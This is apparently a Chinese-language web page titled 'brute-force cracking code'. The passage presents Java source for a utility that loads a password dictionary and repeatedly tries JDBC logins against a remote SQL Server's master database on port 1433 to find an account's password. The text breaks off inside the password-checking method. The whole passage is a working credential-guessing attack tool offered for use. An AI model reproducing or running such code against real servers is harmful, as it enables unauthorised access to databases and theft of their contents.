暴力破解代码

暴力破解代码

程序源代码:

package cn.keona.check;

import java.io.File;

import java.io.FileReader;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.FileNotFoundException;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.SQLException;

import java.util.List;

import java.util.ArrayList;

import java.text.MessageFormat;

/**

* 破解工具类

*/

public class CheckSQLPasswordUtil {

//SQL-Server2000驱动.

private static final String DBDRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; //数据库连接URL.

private static final String DBURL = "jdbc:microsoft:sqlserver://{0}:1433;databasename=master";

//远程数据库路径.

private String databaseUrl;

//需要破解的数据用户.

private String dbUser;

//密码文件路径.

private String passwordPath;

//密码集合.

private List passwords = new ArrayList();

//是否破解密码.

private boolean isCheck;

//正确密码.

private String truePassword;

//带参数构造方法.

public CheckSQLPasswordUtil(String databaseUrl,String dbUser,String passwordPath) { this.databaseUrl = databaseUrl;

this.dbUser = dbUser;

this.passwordPath = passwordPath;

this.isCheck = false;

this.truePassword = "";

}

//初始化程序.

private boolean init() {

//参数检查.

if(databaseUrl == null || databaseUrl.equals("")) {

System.out.println("[系统提示]:请输入远程数据地址!");

return false;

}

if(dbUser == null || dbUser.equals("")) {

System.out.println("[系统提示]:请输入你要破解的数据库帐号!");

}

if(passwordPath == null || passwordPath.equals("")) {

System.out.println("[系统提示]:请输入字典文件路径!");

return false;

}

//数据库连接URL.

MessageFormat format = new MessageFormat(DBURL);

databaseUrl = format.format(DBURL,databaseUrl);

System.out.println(databaseUrl);

return true;

}

//破解密码.

private boolean checkPass() {

String pass = "";

try {

if(passwords.size()<1) {

return false;

}

pass = passwords.get(0);

passwords.remove(0);

Class.forName(DBDRIVER);

Connection conn = DriverManager.getConnection(databaseUrl,dbUser,pass); //执行到这里,表示测试成功.

conn.close();

truePassword = pass;

isCheck = true;

} catch(ClassNotFoundException classEx) {

System.out.println("[系统提示]:没有找到合适的驱动包文件...!");

return false;

} catch(SQLException sqlEx) {

System.out.println("[进度提示]:" + dbUser + "用户尝试" + pass + "....>>>失败!");